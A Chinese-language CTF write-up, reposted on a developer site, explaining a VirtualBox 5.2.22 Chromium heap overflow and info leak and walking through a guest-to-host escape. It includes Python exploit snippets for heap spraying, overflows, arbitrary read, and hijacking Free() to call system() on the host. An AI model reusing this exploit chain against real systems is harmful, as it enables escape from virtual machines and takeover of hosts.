内容简介:一、前言早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。
一、前言
早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。
在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。
二、挑战内容
我们所面临的挑战,是在64位Xubuntu上尝试针对VirtualBox v5.2.22实现虚拟机逃逸。在挑战的题目中,给出了一个提示,仅仅是API glShaderSource()文档的照片。首先,我认为,我们已经将一个漏洞人为地注入到该函数中,从而应对挑战。然而,在查看了它在Chrome中的实现之后,我意识到我正在面对的是一个真实世界中的漏洞。
三、漏洞分析
下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c代码中的一部分:
void crUnpackExtendShaderSource(void) { GLint *length = NULL; GLuint shader = READ_DATA(8, GLuint); GLsizei count = READ_DATA(12, GLsizei); GLint hasNonLocalLen = READ_DATA(16, GLsizei); GLint *pLocalLength = DATA_POINTER(20, GLint); char **ppStrings = NULL; GLsizei i, j, jUpTo; int pos, pos_check; if (count >= UINT32_MAX / sizeof(char *) / 4) { crError("crUnpackExtendShaderSource: count %u is out of range", count); return; } pos = 20 + count * sizeof(*pLocalLength); if (hasNonLocalLen > 0) { length = DATA_POINTER(pos, GLint); pos += count * sizeof(*length); } pos_check = pos; if (!DATA_POINTER_CHECK(pos_check)) { crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check); return; } for (i = 0; i < count; ++i) { if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check)) { crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check); return; } pos_check += pLocalLength[i]; } ppStrings = crAlloc(count * sizeof(char*)); if (!ppStrings) return; for (i = 0; i < count; ++i) { ppStrings[i] = DATA_POINTER(pos, char); pos += pLocalLength[i]; if (!length) { pLocalLength[i] -= 1; } Assert(pLocalLength[i] > 0); jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i]; for (j = 0; j < jUpTo; ++j) { char *pString = ppStrings[i]; if (pString[j] == '\0') { Assert(j == jUpTo - 1); pString[j] = '\n'; } } } // cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength); cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0); crFree(ppStrings); }
该方法使用宏READ_DATA获取用户数据。实际上,它只是从Guest虚拟机使用HGCM接口发送的消息中读取,该消息存储在堆中。然后,它调整输入,并将其传递给cr_unpackDispatch.ShaderSource()。
在这里,第一个明显的攻击点是crAlloc(count * sizeof(char*))。我们查看count变量是否在某个(正值)范围内。但是,由于它是有符号证书,因此还应该检查是否存在负值的可能。如果我们选择足够大的技术,例如0x80000000,那么由于整数溢出,与sizeof(char*)==8的乘法操作将会得到0,因为这里的所有变量都是32位。理想情况下,这可能导致堆溢出,因为分配的缓冲区太小,而计数过大。然而,这部分代码则不容易受到此类攻击,因为如果count为负值,则根本不会进入到循环中(变量i是有符号的,因此二者之间的比较也是有符号的比较)。
实际的漏洞并不明显。在第一个循环中,pos_check由长度数组递增。在每次循环中,都会验证位置,以确保总长度仍然在边界之内。这段代码的问题在于,pos_check仅在下一次循环中检查是否在边界范围内。这就意味着,数组的最后一个元素从未经过任何检查,并且可以为任意大小。
这一点验证不充分会产生什么样的影响呢?本质上,在嵌套循环中,j表示pStrings的索引,并且其范围是从0到pLocalLength[i]。该循环将每个\0字节转换为\n字节。借助任意长度的问题,我们可以使循环超出范围,并且由于pString指向堆HGCM消息中的数据,所以这一问题实际上可以导致堆溢出。
四、漏洞利用
即使我们不能溢出可以控制的内容,但如果我们对其进行合理的利用,我们仍然可以获得任意代码执行。
为了实现漏洞利用,我们将使用3dpwn,这是一个专门用于攻击3D加速(3D Acceleration)的库。我们将大量使用CRVBOXSVCBUFFER_t对象,这些对象也是我们之前研究的目标。它包含一个唯一ID、一个可控制的大小、一个指向Guest虚拟机可以写入的实际数据的指针,以及一个双向链表的下一个/上一个指针:
typedef struct _CRVBOXSVCBUFFER_t { uint32_t uiId; uint32_t uiSize; void* pData; _CRVBOXSVCBUFFER_t *pNext, *pPrev; } CRVBOXSVCBUFFER_t;
此外,我们还将使用CRConnection对象,该对象包含各种函数指针,以及指向Guest虚拟机可以读取的缓冲区指针。
如果我们破坏了前一个对象,我们可以获得一个任意的写原语。如果我们破坏了后一个对象,那么我们就可以获得一个任意的读原语和任意代码执行。
4.1 策略
1. 泄漏CRConnection对象的指针。
2. 使用大量CRVBOXSVCBUFFER_t对象喷射(Spray)堆,并保存其ID。
3. 找到一个洞,并执行glShaderSource(),以将我们的恶意信息写入洞中。然后,易受攻击的代码会使其溢出到相邻的对象中,在理想情况下,会进入CRVBOXSVCBUFFER_t。我们试图破坏其ID和大小,以触发第二个堆溢出,我们可以通过它进行控制。
4. 查找ID列表,查看其中一个是否消失。如果有消失的ID,则证明它应该是使用换行符损坏的ID。
5. 用此ID中的换行符,替换所有零字节,以获取损坏的ID。
6. 这一损坏的对象,现在将具有比原始更大的长度。我们使用该对象,溢出到第二个CRVBOXSVCBUFFER_t,并使其指向CRConnection对象。
7. 最后,我们可以控制CRConnection对象的内容。如前所述,我们可以破坏它,以启用任意读取原语和任意代码执行。
8. 找到system()的地址,并使用它覆盖函数指针Free()。
9. 在主机上运行任意命令。
4.2 堆信息泄漏
由于我们的目标是VirtualBox v5.2.22,因此该版本并不存在影响v5.2.20之前版本的CVE-2018-3055漏洞。正如我们在 这里 所看到的,该漏洞被利用来泄漏CRConnection的地址。所以,为了应对这一挑战,我们是否应该寻找新的信息泄漏漏洞,或者重新设计漏洞利用策略?
令人惊讶的是,即使在v5.2.22版本中,上面的代码仍然能够泄漏我们想要的对象。这怎么可能,难道是没有正确修复吗?经过仔细分析后,我们发现,分配的对象的大小为0x290字节,而连接的偏移量为OFFSET_CONN_CLIENT,也就是0x248。在这里,并没有超出界限。
msg = make_oob_read(OFFSET_CONN_CLIENT) leak = crmsg(client, msg, 0x290)[16:24]
值得关注的是,这一问题的原因在于未初始化的内存漏洞。也就是说,svcGetBuffer()方法正在请求堆内存来存储来自Guest的消息。但是,它却没有清除缓冲区。因此,任何返回消息缓冲区数据的API都可能被滥用,从而能将有价值的堆信息泄漏给Guest。我推测,Niklas知道这一漏洞,因此我决定使用这一漏洞来完成这一挑战。实际上,在比赛结束后的几周,发布了关于这一漏洞的补丁,并为其分配了 CVE-2019-2446 的编号。
4.3 堆喷射
我们可以使用alloc_buf()借助CRVBOXSVCBUFFER_t实现堆喷射,如下所示:
bufs = [] for i in range(spray_num): bufs.append(alloc_buf(self.client, spray_len))
根据经验,我发现可以选择spray_len = 0x30和spray_num = 0x2000,因为它们的缓冲区最终将是连续的,并且pData指向的缓冲区与其他CRVBOXSVCBUFFER_t相邻。
接下来,我们想在分配中创造一个洞,这样我们就可以用恶意的信息占据它。
具体而言,这是通过向主机发送命令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED来实现的,其中hole_pos = spray_num – 0x10:
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])
我们可以参考src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp中此命令的实现。
4.4 第一次溢出
现在,我们已经仔细设置了堆,接下来准备分配消息缓冲区并触发溢出,如下所示:
msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) + '\0\0\0' + chr(CR_EXTEND_OPCODE) + 'aaaa' + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) + pack("<I", 0) # shader + pack("<I", 1) # count + pack("<I", 0) # hasNonLocalLen + pack("<I", 0x22) # pLocalLength[0] ) crmsg(self.client, msg, spray_len)
需要注意的是,我们发送的消息与刚刚释放的消息大小完全相同。由于glibc堆的工作原理,新的消息非常有可能占据与释放消息完全相同的位置。此外,需要注意count = 1,并且只有最后一个长度可以是任意大小。由于只有一个元素,所以显然,第一个元素也正是最后一个元素。
最后,我们使pLocalLength[0] = 0x22。这个值足以破坏ID和大小字段,我们并不想破坏pData。
那么,具体是如何来计算的?
1. 消息的长度为0x30字节
2. pString的偏移量是0x28
3. glibc块的头部(64位)宽0x10字节
4. uild和uiSize都是32位无符号整数
5. 在crUnpackExtendShaderSource()中将pLocalLength[0]减去2
因此,我们需要0x30-0x28 = 8个字节,才能到达消息的末尾,0x10个字节要经过块的头部,还需要8个字节来覆盖uiId和uiSize。为了补偿减法运算,我们还必须再增加2个字节。总体来说,这就相当于0x22字节。
4.5 找到损坏位置
回想一下,size字段是一个32位无符号整数,我们选择的大小是0x30字节。因此,该字段在损坏后将保持为值0x0a0a0a30(其中的3个零字节已经被字节0x0a替换)。
要查找损坏的ID,这一过程稍微复杂一些,需要我们遍历ID列表,以找出它们之中的哪一个消失了。我们通过向每个ID发送SHCRGL_GUEST_FN_WRITE_BUFFER消息来执行此操作,如下所示:
print("[*] Finding corrupted buffer...") found = -1 for i in range(spray_num): if i != hole_pos: try: hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""]) except IOError: print("[+] Found corrupted id: 0x%x" % bufs[i]) found = bufs[i] break if found < 0: exit("[-] Error could not find corrupted buffer.")
最后,我们用\n字节手动替换每个\0,以匹配损坏的缓冲区的ID:
id_str = "%08x" % found new_id = int(id_str.replace("00", "0a"), 16) print("[+] New id: 0x%x" % new_id)
现在,我们就拥有了进行第二次溢出所需要的一切,我们可以最终控制其内容。我们的最终目标是,覆盖pData字段,并使其指向我们之前泄漏的CRConnection对象。
4.6 第二次溢出
使用new_id和大小0x0a0a0a30,我们现在可以破坏第二个CRVBOXSVCBUFFER_t。与之前的溢出类似,这是有效的,因为这些缓冲区彼此相邻。但是,这次我们使用ID为0x13371337、大小为0x290且指向self.pConn的伪对象来覆盖它。
try: fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0) hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake]) print("[+] Exploit successful.") except IOError: exit("[-] Exploit failed.")
需要注意的是,spray_len + 0x10表示偏移量,我们再次跳过块头部的0x10字节。在执行此操作后,我们可以修改CRConnection对象的内容。如前所述,这最终使我们能够使用任意读取原语,并允许我们通过替换Free()函数指针来调用任何我们想要的内容。
4.7 任意读取原语
发出SHCRGL_GUEST_FN_READ命令时,pHostBuffer中的数据将被发送回Guest。使用我们的自定义0x13371337 ID,我们可以使用自定义的指针覆盖此指针及其相应的大小。然后,我们使用self.client2客户端发送SHCRGL_GUEST_FN_READ消息来触发我们的任意读取(这是泄漏的CRConnection的客户端ID):
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF, pack("<Q", where)]) hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)]) res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
4.8 任意代码执行
在每个CRConnection对象中,都存在函数指针Alloc()、Free()等,负责存储Guest虚拟机的消息缓冲区。此外,它们将CRConnection对象自身作为第一个参数。对我们来说,这是非常完美的,因为它可以用来启动ROP链,或者简单地用任意命令调用system()。
为此,我们需要在偏移量OFFSET_CONN_FREE的位置覆盖指针,并在偏移量0处覆盖我们所需参数的内容,如下所示:
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)]) hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])
触发Free()非常简单,只需要我们使用self.client2向主机发送任何有效消息即可。
4.9 寻找system()
我们已经知道一个地址,即crVBoxHGCMFree()。它是存储在Free()字段中的函数指针。这一子例程位于模块VBoxOGLhostcrutil中,该模块还包含libc的其他存根(Stub)。因此,我们可以很容易地计算出system()的地址。
self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE) print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree) self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650 print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil) self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070) print("[+] memset: 0x%x" % self.memset) self.libc = self.memset - 0x18ef50 print("[+] libc: 0x%x" % self.libc) self.system = self.libc + 0x4f440 print("[+] system: 0x%x" % self.system)
4.10 夺取旗帜
现在,我们离夺取旗帜只有一步之遥。该Flag存储在位于~/Desktop/flag.txt的文本文件中。我们可以通过任何文本编辑器或终端打开文件,以查看其内容。在挑战的过程中,我们可以直接“看到”旗帜,因为在提交代码后,一段简短的视频将会传回给我们。Xubuntu没有预装geedit,但在Google上迅速搜索后,我们找到了文本编辑器Mousepad。
在第一次提交期间,还发生了一个小问题,就是系统发生了崩溃。我很快就意识到,我们不能使用超过16个字节的字符串,因为一些指针位于这一偏移处,如果使用无效内容覆盖它,将会导致段错误(Segmentation Fault)。
为此,我使用了一些技巧,并将文件路径缩短了两次,这样就可以用较少的字符实现打开操作:
p.rip(p.system, "mv Desktop a\0") p.rip(p.system, "mv a/flag.txt b\0") p.rip(p.system, "mousepad b\0")
不错,在进行了4-5小时的研究之后,我终于夺取了旗帜,并很高兴能成为第一个解决这一挑战的人。几个小时后,Tea Delivers团队也成功利用了这个很酷的漏洞,恭喜他们。
五、总结
如果我们之前一直在使用这一虚拟机,那么这个挑战并不是很难解决。据我所知,通过建立一个更好的Heap Constellation,我们可以直接溢出到CRConnection对象,并修改cbHostBuffer字段,最终启用越界读取原语,从而在不利用任何漏洞的情况下解决这一挑战。然而,在压力和兴奋的双重作用下,我选择了额外的漏洞来解决这一问题。尽管如此,这一过程还是非常有趣。尽管Chromium中存在许多信息泄漏漏洞,几乎每个Opcode都可能会泄漏栈或堆信息,但内存损坏漏洞还是比较稀缺的,因此我非常开心能发现这一问题。
最后一点,也是比较重要的一点,我在掌握代码中存在漏洞的情况之后,就很容易识别问题。实际上,尽管我一直在进行研究,但我最开始却认为它是无法被利用的。因此,我们要以乐观积极的心态来看待代码,如果我们相信任何代码中可能存在问题,就要坚信最终一定能够发现它们。不要气馁,也不要抱有“如果有漏洞,那么其他人肯定早就发现了”这样的心态。
感谢大家的阅读!
六、致谢
感谢Niklasb针对此问题的先前研究,以及设置的挑战题目。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
jQuery实战
Bear Bibeault、Yehuda Katz / 陈宁 / 人民邮电出版社 / 2009.1 / 49.00元
《jQuery实战》全面介绍jQuery知识,展示如何遍历HTML文档、处理事件、执行动画以及给网页添加Ajax。书中紧紧地围绕“用实际的示例来解释每一个新概念”这一宗旨,生动描述了jQuery如何与其他工具和框架交互以及如何生成jQuery插件。jQuery 是目前最受欢迎的JavaScript/Ajax库之一,能用最少的代码实现最多的功能。 点击链接进入新版: jQuery......一起来看看 《jQuery实战》 这本书的介绍吧!